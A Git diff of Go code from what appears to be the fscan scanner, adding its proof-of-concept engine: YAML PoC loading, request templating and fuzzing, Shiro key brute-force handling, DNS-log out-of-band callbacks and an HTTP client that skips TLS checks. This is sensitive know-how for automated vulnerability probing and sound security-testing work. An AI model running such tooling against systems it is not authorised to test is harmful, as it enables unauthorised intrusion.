variableMap["request"] = req + + // 处理设置项 + for _, item := range p.Set { + key, expression := item.Key, item.Value + if expression == "newReverse()" { + if !common.DnsLog { + return false, nil, "" + } + variableMap[key] = newReverse() + continue + } + if err, _ = evalset(env, variableMap, key, expression); err != nil { + common.LogError(fmt.Sprintf("设置项执行错误 %s: %v", p.Name, err)) + } + } + + // 处理爆破模式 + if len(p.Sets) > 0 { + success, err := clusterpoc(oReq, p, variableMap, req, env) + return success, err, "" + } + + return executeRules(oReq, p, variableMap, req, env) +} + +// executeRules 执行POC规则并返回结果 +func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (bool, error, string) { + // 处理单个规则的函数 + executeRule := func(rule Rules) (bool, error) { + Headers := cloneMap(rule.Headers) + + // 替换变量 + for varName, varValue := range variableMap { + if _, isMap := varValue.(map[string]string); isMap { + continue + } + strValue := fmt.Sprintf("%v", varValue) + + // 替换Header中的变量 + for headerKey, headerValue := range Headers { + if strings.Contains(headerValue, "{{"+varName+"}}") { + Headers[headerKey] = strings.ReplaceAll(headerValue, "{{"+varName+"}}", strValue) + } + } + + // 替换Path和Body中的变量 + rule.Path = strings.ReplaceAll(rule.Path, "{{"+varName+"}}", strValue) + rule.Body = strings.ReplaceAll(rule.Body, "{{"+varName+"}}", strValue) + } + + // 构建请求路径 + if oReq.URL.Path != "" && oReq.URL.Path != "/" { + req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) + } else { + req.Url.Path = rule.Path + } + req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") + + // 创建新请求 + newRequest, err := http.NewRequest( + rule.Method, + fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), + strings.NewReader(rule.Body), + ) + if err != nil { + return false, fmt.Errorf("请求创建错误: %v", err) + } + + // 设置请求头 + newRequest.Header = oReq.Header.Clone() + for k, v := range Headers { + newRequest.Header.Set(k, v) + } + Headers = nil + + // 发送请求 + resp, err := DoRequest(newRequest, rule.FollowRedirects) + newRequest = nil + if err != nil { + return false, err + } + + variableMap["response"] = resp + + // 执行搜索规则 + if rule.Search != "" { + result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) + if len(result) == 0 { + return false, nil + } + for k, v := range result { + variableMap[k] = v + } + } + + // 执行表达式 + out, err := Evaluate(env, rule.Expression, variableMap) + if err != nil { + return false, err + } + + if flag, ok := out.Value().(bool); ok { + return flag, nil + } + return false, nil + } + + // 处理规则组的函数 + executeRuleSet := func(rules []Rules) bool { + for _, rule := range rules { + flag, err := executeRule(rule) + if err != nil || !flag { + return false + } + } + return true + } + + // 执行检测规则 + success := false + if len(p.Rules) > 0 { + success = executeRuleSet(p.Rules) + return success, nil, "" + } else { + for _, item := range p.Groups { + name, rules := item.Key, item.Value + if success = executeRuleSet(rules); success { + return true, nil, name + } + } + } + + return false, nil, "" +} + +// doSearch 在响应体中执行正则匹配并提取命名捕获组 +func doSearch(re string, body string) map[string]string { + // 编译正则表达式 + r, err := regexp.Compile(re) + // 正则表达式编译 + if err != nil { + common.LogError(fmt.Sprintf("正则编译错误: %v", err)) + return nil + } + + // 执行正则匹配 + result := r.FindStringSubmatch(body) + names := r.SubexpNames() + + // 处理匹配结果 + if len(result) > 1 && len(names) > 1 { + paramsMap := make(map[string]string) + for i, name := range names { + if i > 0 && i <= len(result) { + // 特殊处理Cookie头 + if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") { + paramsMap[name] = optimizeCookies(result[i]) + } else { + paramsMap[name] = result[i] + } + } + } + return paramsMap + } + return nil +} + +// optimizeCookies 优化Cookie字符串,移除不必要的属性 +func optimizeCookies(rawCookie string) string { + var output strings.Builder + + // 解析Cookie键值对 + pairs := strings.Split(rawCookie, "; ") + for _, pair := range pairs { + nameVal := strings.SplitN(pair, "=", 2) + if len(nameVal) < 2 { + continue + } + + // 跳过Cookie属性 + switch strings.ToLower(nameVal[0]) { + case "expires", "max-age", "path", "domain", + "version", "comment", "secure", "samesite", "httponly": + continue + } + + // 构建Cookie键值对 + if output.Len() > 0 { + output.WriteString("; ") + } + output.WriteString(nameVal[0]) + output.WriteString("=") + output.WriteString(strings.Join(nameVal[1:], "=")) + } + + return output.String() +} + +// newReverse 创建新的反连检测对象 +func newReverse() *Reverse { + // 检查DNS日志功能是否启用 + if !common.DnsLog { + return &Reverse{} + } + + // 生成随机子域名 + const ( + letters = "1234567890abcdefghijklmnopqrstuvwxyz" + subdomainLength = 8 + ) + randSource := rand.New(rand.NewSource(time.Now().UnixNano())) + subdomain := RandomStr(randSource, letters, subdomainLength) + + // 构建URL + urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain) + u, err := url.Parse(urlStr) + // 解析反连URL + if err != nil { + common.LogError(fmt.Sprintf("反连URL解析错误: %v", err)) + return &Reverse{} + } + + // 返回反连检测配置 + return &Reverse{ + Url: urlStr, + Domain: u.Hostname(), + Ip: u.Host, + IsDomainNameServer: false, + } +} + +// clusterpoc 执行集群POC检测,支持批量参数组合测试 +func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) { + var strMap StrMap // 存储成功的参数组合 + var shiroKeyCount int // shiro key测试计数 + + // 记录漏洞的辅助函数,统一保存结果和输出日志 + recordVulnerability := func(targetURL string, params StrMap, skipSave bool) { + // 构造详细信息 + details := make(map[string]interface{}) + details["vulnerability_type"] = p.Name + details["vulnerability_name"] = p.Name // 使用POC名称作为漏洞名称 + + // 添加作者信息(如果有) + if p.Detail.Author != "" { + details["author"] = p.Detail.Author + } + + // 添加参考链接(如果有) + if len(p.Detail.Links) != 0 { + details["references"] = p.Detail.Links + } + + // 添加漏洞描述(如果有) + if p.Detail.Description != "" { + details["description"] = p.Detail.Description + } + + // 添加参数信息(如果有) + if len(params) > 0 { + paramMap := make(map[string]string) + for _, item := range params { + paramMap[item.Key] = item.Value + } + details["parameters"] = paramMap + } + + // 保存漏洞结果(除非明确指示跳过) + if !skipSave { + result := &output.ScanResult{ + Time: time.Now(), + Type: output.TypeVuln, + Target: targetURL, + Status: "vulnerable", + Details: details, + } + common.SaveResult(result) + } + + // 生成日志消息 + var logMsg string + if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" { + logMsg = fmt.Sprintf("检测到漏洞 %s %s", targetURL, p.Name) + } else { + logMsg = fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, params) + } + + // 输出成功日志 + common.LogSuccess(logMsg) + } + + // 遍历POC规则 + for ruleIndex, rule := range p.Rules { + // 检查是否需要进行参数Fuzz测试 + if !isFuzz(rule, p.Sets) { + // 不需要Fuzz,直接发送请求 + success, err = clustersend(oReq, variableMap, req, env, rule) + if err != nil { + return false, err + } + if !success { + return false, err + } + continue + } + + // 生成参数组合 + setsMap := Combo(p.Sets) + ruleHash := make(map[string]struct{}) // 用于去重的规则哈希表 + + // 遍历参数组合 + paramLoop: + for comboIndex, paramCombo := range setsMap { + // Shiro Key测试特殊处理:默认只测试10个key + if p.Name == "poc-yaml-shiro-key" && !common.PocFull && comboIndex >= 10 { + if paramCombo[1] == "cbc" { + continue + } else { + if shiroKeyCount == 0 { + shiroKeyCount = comboIndex + } + if comboIndex-shiroKeyCount >= 10 { + break + } + } + } + + // 克隆规则以避免相互影响 + currentRule := cloneRules(rule) + var hasReplacement bool + var currentParams StrMap + payloads := make(map[string]interface{}) + var payloadExpr string + + // 计算所有参数的实际值 + for i, set := range p.Sets { + key, expr := set.Key, paramCombo[i] + if key == "payload" { + payloadExpr = expr + } + _, output := evalset1(env, variableMap, key, expr) + payloads[key] = output + } + + // 替换规则中的参数 + for _, set := range p.Sets { + paramReplaced := false + key := set.Key + value := fmt.Sprintf("%v", payloads[key]) + + // 替换Header中的参数 + for headerKey, headerVal := range currentRule.Headers { + if strings.Contains(headerVal, "{{"+key+"}}") { + currentRule.Headers[headerKey] = strings.ReplaceAll(headerVal, "{{"+key+"}}", value) + paramReplaced = true + } + } + + // 替换Path中的参数 + if strings.Contains(currentRule.Path, "{{"+key+"}}") { + currentRule.Path = strings.ReplaceAll(currentRule.Path, "{{"+key+"}}", value) + paramReplaced = true + } + + // 替换Body中的参数 + if strings.Contains(currentRule.Body, "{{"+key+"}}") { + currentRule.Body = strings.ReplaceAll(currentRule.Body, "{{"+key+"}}", value) + paramReplaced = true + } + + // 记录替换的参数 + if paramReplaced { + hasReplacement = true + if key == "payload" { + // 处理payload的特殊情况 + hasVarInPayload := false + for varKey, varVal := range variableMap { + if strings.Contains(payloadExpr, varKey) { + hasVarInPayload = true + currentParams = append(currentParams, StrItem{varKey, fmt.Sprintf("%v", varVal)}) + } + } + if hasVarInPayload { + continue + } + } + currentParams = append(currentParams, StrItem{key, value}) + } + } + + // 如果没有参数被替换,跳过当前组合 + if !hasReplacement { + continue + } + + // 规则去重 + ruleDigest := md5.Sum([]byte(fmt.Sprintf("%v", currentRule))) + ruleMD5 := fmt.Sprintf("%x", ruleDigest) + if _, exists := ruleHash[ruleMD5]; exists { + continue + } + ruleHash[ruleMD5] = struct{}{} + + // 发送请求并处理结果 + success, err = clustersend(oReq, variableMap, req, env, currentRule) + if err != nil { + return false, err + } + + if success { + targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path) + + // 处理成功情况 + if currentRule.Continue { + // 使用Continue标志时,记录但继续测试其他参数 + recordVulnerability(targetURL, currentParams, false) + continue + } + + // 记录成功的参数组合 + strMap = append(strMap, currentParams...) + if ruleIndex == len(p.Rules)-1 { + // 最终规则成功,记录完整的结果并返回 + recordVulnerability(targetURL, strMap, false) + return false, nil + } + break paramLoop + } + } + + if !success { + break + } + if rule.Continue { + return false, nil + } + } + + return success, nil +} + +// isFuzz 检查规则是否包含需要Fuzz测试的参数 +func isFuzz(rule Rules, Sets ListMap) bool { + // 遍历所有参数 + for _, param := range Sets { + key := param.Key + paramPattern := "{{" + key + "}}" + + // 检查Headers中是否包含参数 + for _, headerValue := range rule.Headers { + if strings.Contains(headerValue, paramPattern) { + return true + } + } + + // 检查Path中是否包含参数 + if strings.Contains(rule.Path, paramPattern) { + return true + } + + // 检查Body中是否包含参数 + if strings.Contains(rule.Body, paramPattern) { + return true + } + } + return false +} + +// Combo 生成参数组合 +func Combo(input ListMap) [][]string { + if len(input) == 0 { + return nil + } + + // 处理只有一个参数的情况 + if len(input) == 1 { + output := make([][]string, 0, len(input[0].Value)) + for _, value := range input[0].Value { + output = append(output, []string{value}) + } + return output + } + + // 递归处理多个参数的情况 + subCombos := Combo(input[1:]) + return MakeData(subCombos, input[0].Value) +} + +// MakeData 将新的参数值与已有的组合进行组合 +func MakeData(base [][]string, nextData []string) [][]string { + // 预分配足够的空间 + output := make([][]string, 0, len(base)*len(nextData)) + + // 遍历已有组合和新参数值 + for _, existingCombo := range base { + for _, newValue := range nextData { + // 创建新组合 + newCombo := make([]string, 0, len(existingCombo)+1) + newCombo = append(newCombo, newValue) + newCombo = append(newCombo, existingCombo...) + output = append(output, newCombo) + } + } + + return output +} + +// clustersend 执行单个规则的HTTP请求和响应检测 +func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) { + // 替换请求中的变量 + for varName, varValue := range variableMap { + // 跳过map类型的变量 + if _, isMap := varValue.(map[string]string); isMap { + continue + } + + strValue := fmt.Sprintf("%v", varValue) + varPattern := "{{" + varName + "}}" + + // 替换Headers中的变量 + for headerKey, headerValue := range rule.Headers { + if strings.Contains(headerValue, varPattern) { + rule.Headers[headerKey] = strings.ReplaceAll(headerValue, varPattern, strValue) + } + } + + // 替换Path和Body中的变量 + rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), varPattern, strValue) + rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), varPattern, strValue) + } + + // 构建完整请求路径 + if oReq.URL.Path != "" && oReq.URL.Path != "/" { + req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) + } else { + req.Url.Path = rule.Path + } + + // URL编码处理 + req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") + + // 创建新的HTTP请求 + reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path) + newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body)) + if err != nil { + return false, fmt.Errorf("HTTP请求错误: %v", err) + } + defer func() { newRequest = nil }() + + // 设置请求头 + newRequest.Header = oReq.Header.Clone() + for key, value := range rule.Headers { + newRequest.Header.Set(key, value) + } + + // 发送请求 + resp, err := DoRequest(newRequest, rule.FollowRedirects) + if err != nil { + return false, fmt.Errorf("请求发送错误: %v", err) + } + + // 更新响应到变量映射 + variableMap["response"] = resp + + // 执行搜索规则 + if rule.Search != "" { + searchContent := GetHeader(resp.Headers) + string(resp.Body) + result := doSearch(rule.Search, searchContent) + + if result != nil && len(result) > 0 { + // 将搜索结果添加到变量映射 + for key, value := range result { + variableMap[key] = value + } + } else { + return false, nil + } + } + + // 执行CEL表达式 + out, err := Evaluate(env, rule.Expression, variableMap) + if err != nil { + if strings.Contains(err.Error(), "Syntax error") { + common.LogError(fmt.Sprintf("CEL语法错误 [%s]: %v", rule.Expression, err)) + } + return false, err + } + + // 检查表达式执行结果 + if fmt.Sprintf("%v", out) == "false" { + return false, nil + } + + return true, nil +} + +// cloneRules 深度复制Rules结构体 +// 参数: +// - tags: 原始Rules结构体 +// 返回: 复制后的新Rules结构体 +func cloneRules(tags Rules) Rules { + return Rules{ + Method: tags.Method, + Path: tags.Path, + Body: tags.Body, + Search: tags.Search, + FollowRedirects: tags.FollowRedirects, + Expression: tags.Expression, + Headers: cloneMap(tags.Headers), + Continue: tags.Continue, + } +} + +// cloneMap 深度复制字符串映射 +func cloneMap(tags map[string]string) map[string]string { + if tags == nil { + return nil + } + cloneTags := make(map[string]string, len(tags)) + for key, value := range tags { + cloneTags[key] = value + } + return cloneTags +} + +// evalset 执行CEL表达式并处理特殊类型结果 +func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) { + out, err := Evaluate(env, expression, variableMap) + if err != nil { + variableMap[k] = expression + return err, expression + } + + // 根据不同类型处理输出 + switch value := out.Value().(type) { + case *UrlType: + variableMap[k] = UrlTypeToString(value) + case int64: + variableMap[k] = int(value) + default: + variableMap[k] = fmt.Sprintf("%v", out) + } + + return nil, fmt.Sprintf("%v", variableMap[k]) +} + +// evalset1 执行CEL表达式的简化版本 +func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) { + out, err := Evaluate(env, expression, variableMap) + if err != nil { + variableMap[k] = expression + } else { + variableMap[k] = fmt.Sprintf("%v", out) + } + return err, fmt.Sprintf("%v", variableMap[k]) +} + +// CheckInfoPoc 检查POC信息并返回别名 +func CheckInfoPoc(infostr string) string { + for _, poc := range info.PocDatas { + if strings.Contains(infostr, poc.Name) { + return poc.Alias + } + } + return "" +} + +// GetHeader 将HTTP头转换为字符串格式 +func GetHeader(header map[string]string) string { + var builder strings.Builder + for name, values := range header { + builder.WriteString(fmt.Sprintf("%s: %s\n", name, values)) + } + builder.WriteString("\r\n") + return builder.String() +} diff --git a/webscan/lib/Client.go b/webscan/lib/Client.go new file mode 100644 index 0000000..d5be2f5 --- /dev/null +++ b/webscan/lib/Client.go @@ -0,0 +1,320 @@ +package lib + +import ( + "context" + "crypto/tls" + "embed" + "errors" + "fmt" + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/proxy" + "gopkg.in/yaml.v2" + "net" + "net/http" + "net/url" + "os" + "strings" + "time" +) + +// 全局HTTP客户端变量 +var ( + Client *http.Client // 标准HTTP客户端 + ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端 + dialTimout = 5 * time.Second // 连接超时时间 + keepAlive = 5 * time.Second // 连接保持时间 +) + +// Inithttp 初始化HTTP客户端配置 +func Inithttp() { + // 设置默认并发数 + if common.PocNum == 0 { + common.PocNum = 20 + } + // 设置默认超时时间 + if common.WebTimeout == 0 { + common.WebTimeout = 5 + } + + // 初始化HTTP客户端 + err := InitHttpClient(common.PocNum, common.HttpProxy, time.Duration(common.WebTimeout)*time.Second) + if err != nil { + panic(err) + } +} + +// InitHttpClient 创建HTTP客户端 +func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error { + type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) + + // 配置基础连接参数 + dialer := &net.Dialer{ + Timeout: dialTimout, + KeepAlive: keepAlive, + } + + // 配置Transport参数 + tr := &http.Transport{ + DialContext: dialer.DialContext, + MaxConnsPerHost: 5, + MaxIdleConns: 0, + MaxIdleConnsPerHost: ThreadsNum * 2, + IdleConnTimeout: keepAlive, + TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true}, + TLSHandshakeTimeout: 5 * time.Second, + DisableKeepAlives: false, + } + + // 配置Socks5代理 + if common.Socks5Proxy != "" { + proxyConfig := &proxy.ProxyConfig{ + Type: proxy.ProxyTypeSOCKS5, + Address: common.Socks5Proxy, + Timeout: time.Second * 10, + } + proxyManager := proxy.NewProxyManager(proxyConfig) + proxyDialer, err := proxyManager.GetDialer() + if err != nil { + return err + } + tr.DialContext = proxyDialer.DialContext + } else if DownProxy != "" { + // 处理其他代理配置 + if DownProxy == "1" { + DownProxy = "http://127.0.0.1:8080" + } else if DownProxy == "2" { + DownProxy = "socks5://127.0.0.1:1080" + } else if !strings.Contains(DownProxy, "://") { + DownProxy = "http://127.0.0.1:" + DownProxy + } + + // 验证代理类型 + if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") { + return errors.New("不支持的代理类型") + } + + // 解析代理URL + u, err := url.Parse(DownProxy) + if err != nil { + return err + } + tr.Proxy = http.ProxyURL(u) + } + + // 创建标准HTTP客户端 + Client = &http.Client{ + Transport: tr, + Timeout: Timeout, + } + + // 创建不跟随重定向的HTTP客户端 + ClientNoRedirect = &http.Client{ + Transport: tr, + Timeout: Timeout, + CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, + } + + return nil +} + +// Poc 定义漏洞检测配置结构 +type Poc struct { + Name string `yaml:"name"` // POC名称 + Set StrMap `yaml:"set"` // 单值配置映射 + Sets ListMap `yaml:"sets"` // 列表值配置映射 + Rules []Rules `yaml:"rules"` // 检测规则列表 + Groups RuleMap `yaml:"groups"` // 规则组映射 + Detail Detail `yaml:"detail"` // 漏洞详情 +} + +// MapSlice 用于解析YAML的通用映射类型 +type MapSlice = yaml.MapSlice + +// 自定义映射类型 +type ( + StrMap []StrItem // 字符串键值对映射 + ListMap []ListItem // 字符串键列表值映射 + RuleMap []RuleItem // 字符串键规则列表映射 +) + +// 映射项结构定义 +type ( + // StrItem 字符串键值对 + StrItem struct { + Key string // 键名 + Value string // 值 + } + + // ListItem 字符串键列表值对 + ListItem struct { + Key string // 键名 + Value []string // 值列表 + } + + // RuleItem 字符串键规则列表对 + RuleItem struct { + Key string // 键名 + Value []Rules // 规则列表 + } +) + +// UnmarshalYAML 实现StrMap的YAML解析接口 +func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + // 临时使用MapSlice存储解析结果 + var tmp yaml.MapSlice + if err := unmarshal(&tmp); err != nil { + return err + } + + // 转换为StrMap结构 + for _, one := range tmp { + key, value := one.Key.(string), one.Value.(string) + *r = append(*r, StrItem{key, value}) + } + + return nil +} + +// UnmarshalYAML 实现RuleMap的YAML解析接口 +// 参数: +// - unmarshal: YAML解析函数 +// +// 返回: +// - error: 解析错误 +func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + // 使用MapSlice保持键的顺序 + var tmp1 yaml.MapSlice + if err := unmarshal(&tmp1); err != nil { + return err + } + + // 解析规则内容 + var tmp = make(map[string][]Rules) + if err := unmarshal(&tmp); err != nil { + return err + } + + // 按顺序转换为RuleMap结构 + for _, one := range tmp1 { + key := one.Key.(string) + value := tmp[key] + *r = append(*r, RuleItem{key, value}) + } + return nil +} + +// UnmarshalYAML 实现ListMap的YAML解析接口 +// 参数: +// - unmarshal: YAML解析函数 +// +// 返回: +// - error: 解析错误 +func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + // 解析YAML映射 + var tmp yaml.MapSlice + if err := unmarshal(&tmp); err != nil { + return err + } + + // 转换为ListMap结构 + for _, one := range tmp { + key := one.Key.(string) + var value []string + // 将接口类型转换为字符串 + for _, val := range one.Value.([]interface{}) { + v := fmt.Sprintf("%v", val) + value = append(value, v) + } + *r = append(*r, ListItem{key, value}) + } + return nil +} + +// Rules 定义POC检测规则结构 +type Rules struct { + Method string `yaml:"method"` // HTTP请求方法 + Path string `yaml:"path"` // 请求路径 + Headers map[string]string `yaml:"headers"` // 请求头 + Body string `yaml:"body"` // 请求体 + Search string `yaml:"search"` // 搜索模式 + FollowRedirects bool `yaml:"follow_redirects"` // 是否跟随重定向 + Expression string `yaml:"expression"` // 匹配表达式 + Continue bool `yaml:"continue"` // 是否继续执行 +} + +// Detail 定义POC详情结构 +type Detail struct { + Author string `yaml:"author"` // POC作者 + Links []string `yaml:"links"` // 相关链接 + Description string `yaml:"description"` // POC描述 + Version string `yaml:"version"` // POC版本 +} + +// LoadMultiPoc 加载多个POC文件 +func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc { + var pocs []*Poc + // 遍历选中的POC文件 + for _, f := range SelectPoc(Pocs, pocname) { + if p, err := LoadPoc(f, Pocs); err == nil { + pocs = append(pocs, p) + } else { + fmt.Printf("POC加载失败 %s: %v\n", f, err) + } + } + return pocs +} + +// LoadPoc 从内嵌文件系统加载单个POC +func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) { + p := &Poc{} + // 读取POC文件内容 + yamlFile, err := Pocs.ReadFile("pocs/" + fileName) + if err != nil { + fmt.Printf("POC文件读取失败 %s: %v\n", fileName, err) + return nil, err + } + + // 解析YAML内容 + err = yaml.Unmarshal(yamlFile, p) + if err != nil { + fmt.Printf("POC解析失败 %s: %v\n", fileName, err) + return nil, err + } + return p, err +} + +// SelectPoc 根据名称关键字选择POC文件 +func SelectPoc(Pocs embed.FS, pocname string) []string { + entries, err := Pocs.ReadDir("pocs") + if err != nil { + fmt.Printf("读取POC目录失败: %v\n", err) + } + + var foundFiles []string + // 查找匹配关键字的POC文件 + for _, entry := range entries { + if strings.Contains(entry.Name(), pocname) { + foundFiles = append(foundFiles, entry.Name()) + } + } + return foundFiles +} + +// LoadPocbyPath 从文件系统路径加载POC +func LoadPocbyPath(fileName string) (*Poc, error) { + p := &Poc{} + // 读取POC文件内容 + data, err := os.ReadFile(fileName) + if err != nil { + fmt.Printf("POC文件读取失败 %s: %v\n", fileName, err) + return nil, err + } + + // 解析YAML内容 + err = yaml.Unmarshal(data, p) + if err != nil { + fmt.Printf("POC解析失败 %s: %v\n", fileName, err) + return nil, err + } + return p, err +} diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go new file mode 100644 index 0000000..25e93c6 --- /dev/null +++ b/webscan/lib/Eval.go @@ -0,0 +1,795 @@ +package lib + +import ( + "bytes" + "compress/gzip" + "crypto/md5" + "encoding/base64" + "encoding/hex" + "fmt" + "github.com/google/cel-go/cel" + "github.com/google/cel-go/checker/decls" + "github.com/google/cel-go/common/types" + "github.com/google/cel-go/common/types/ref" + "github.com/google/cel-go/interpreter/functions" + "github.com/shadow1ng/fscan/common" + exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" + "io" + "math/rand" + "net/http" + "net/url" + "regexp" + "strconv" + "strings" + "time" +) + +// NewEnv 创建一个新的 CEL 环境 +func NewEnv(c *CustomLib) (*cel.Env, error) { + return cel.NewEnv(cel.Lib(c)) +} + +// Evaluate 评估 CEL 表达式 +func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) { + // 空表达式默认返回 true + if expression == "" { + return types.Bool(true), nil + } + + // 编译表达式 + ast, issues := env.Compile(expression) + if issues.Err() != nil { + return nil, fmt.Errorf("表达式编译错误: %w", issues.Err()) + } + + // 创建程序 + program, err := env.Program(ast) + if err != nil { + return nil, fmt.Errorf("程序创建错误: %w", err) + } + + // 执行评估 + result, _, err := program.Eval(params) + if err != nil { + return nil, fmt.Errorf("表达式评估错误: %w", err) + } + + return result, nil +} + +// UrlTypeToString 将 TargetURL 结构体转换为字符串 +func UrlTypeToString(u *UrlType) string { + var builder strings.Builder + + // 处理 scheme 部分 + if u.Scheme != "" { + builder.WriteString(u.Scheme) + builder.WriteByte(':') + } + + // 处理 host 部分 + if u.Scheme != "" || u.Host != "" { + if u.Host != "" || u.Path != "" { + builder.WriteString("//") + } + if host := u.Host; host != "" { + builder.WriteString(host) + } + } + + // 处理 path 部分 + path := u.Path + if path != "" && path[0] != '/' && u.Host != "" { + builder.WriteByte('/') + } + + // 处理相对路径 + if builder.Len() == 0 { + if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 { + builder.WriteString("./") + } + } + builder.WriteString(path) + + // 处理查询参数 + if u.Query != "" { + builder.WriteByte('?') + builder.WriteString(u.Query) + } + + // 处理片段标识符 + if u.Fragment != "" { + builder.WriteByte('#') + builder.WriteString(u.Fragment) + } + + return builder.String() +} + +type CustomLib struct { + envOptions []cel.EnvOption + programOptions []cel.ProgramOption +} + +func NewEnvOption() CustomLib { + c := CustomLib{} + + c.envOptions = []cel.EnvOption{ + cel.Container("lib"), + cel.Types( + &UrlType{}, + &Request{}, + &Response{}, + &Reverse{}, + ), + cel.Declarations( + decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil), + decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil), + decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil), + ), + cel.Declarations( + // functions + decls.NewFunction("bcontains", + decls.NewInstanceOverload("bytes_bcontains_bytes", + []*exprpb.Type{decls.Bytes, decls.Bytes}, + decls.Bool)), + decls.NewFunction("bmatches", + decls.NewInstanceOverload("string_bmatches_bytes", + []*exprpb.Type{decls.String, decls.Bytes}, + decls.Bool)), + decls.NewFunction("md5", + decls.NewOverload("md5_string", + []*exprpb.Type{decls.String}, + decls.String)), + decls.NewFunction("randomInt", + decls.NewOverload("randomInt_int_int", + []*exprpb.Type{decls.Int, decls.Int}, + decls.Int)), + decls.NewFunction("randomLowercase", + decls.NewOverload("randomLowercase_int", + []*exprpb.Type{decls.Int}, + decls.String)), + decls.NewFunction("randomUppercase", + decls.NewOverload("randomUppercase_int", + []*exprpb.Type{decls.Int}, + decls.String)), + decls.NewFunction("randomString", + decls.NewOverload("randomString_int", + []*exprpb.Type{decls.Int}, + decls.String)), + decls.NewFunction("base64", + decls.NewOverload("base64_string", + []*exprpb.Type{decls.String}, + decls.String)), + decls.NewFunction("base64", + decls.NewOverload("base64_bytes", + []*exprpb.Type{decls.Bytes}, + decls.String)), + decls.NewFunction("base64Decode", + decls.NewOverload("base64Decode_string", + []*exprpb.Type{decls.String}, + decls.String)), + decls.NewFunction("base64Decode", + decls.NewOverload("base64Decode_bytes", + []*exprpb.Type{decls.Bytes}, + decls.String)), + decls.NewFunction("urlencode", + decls.NewOverload("urlencode_string", + []*exprpb.Type{decls.String}, + decls.String)), + decls.NewFunction("urlencode", + decls.NewOverload("urlencode_bytes", + []*exprpb.Type{decls.Bytes}, + decls.String)), + decls.NewFunction("urldecode", + decls.NewOverload("urldecode_string", + []*exprpb.Type{decls.String}, + decls.String)), + decls.NewFunction("urldecode", + decls.NewOverload("urldecode_bytes", + []*exprpb.Type{decls.Bytes}, + decls.String)), + decls.NewFunction("substr", + decls.NewOverload("substr_string_int_int", + []*exprpb.Type{decls.String, decls.Int, decls.Int}, + decls.String)), + decls.NewFunction("wait", + decls.NewInstanceOverload("reverse_wait_int", + []*exprpb.Type{decls.Any, decls.Int}, + decls.Bool)), + decls.NewFunction("icontains", + decls.NewInstanceOverload("icontains_string", + []*exprpb.Type{decls.String, decls.String}, + decls.Bool)), + decls.NewFunction("TDdate", + decls.NewOverload("tongda_date", + []*exprpb.Type{}, + decls.String)), + decls.NewFunction("shirokey", + decls.NewOverload("shiro_key", + []*exprpb.Type{decls.String, decls.String}, + decls.String)), + decls.NewFunction("startsWith", + decls.NewInstanceOverload("startsWith_bytes", + []*exprpb.Type{decls.Bytes, decls.Bytes}, + decls.Bool)), + decls.NewFunction("istartsWith", + decls.NewInstanceOverload("startsWith_string", + []*exprpb.Type{decls.String, decls.String}, + decls.Bool)), + decls.NewFunction("hexdecode", + decls.NewInstanceOverload("hexdecode", + []*exprpb.Type{decls.String}, + decls.Bytes)), + ), + } + c.programOptions = []cel.ProgramOption{ + cel.Functions( + &functions.Overload{ + Operator: "bytes_bcontains_bytes", + Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { + v1, ok := lhs.(types.Bytes) + if !ok { + return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type()) + } + v2, ok := rhs.(types.Bytes) + if !ok { + return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type()) + } + return types.Bool(bytes.Contains(v1, v2)) + }, + }, + &functions.Overload{ + Operator: "string_bmatches_bytes", + Binary: func(lhs ref.Val, rhs ref.Val) ref.Val { + v1, ok := lhs.(types.String) + if !ok { + return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type()) + } + v2, ok := rhs.(types.Bytes) + if !ok { + return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type()) + } + ok, err := regexp.Match(string(v1), v2) + if err != nil { + return types.NewErr("%v", err) + } + return 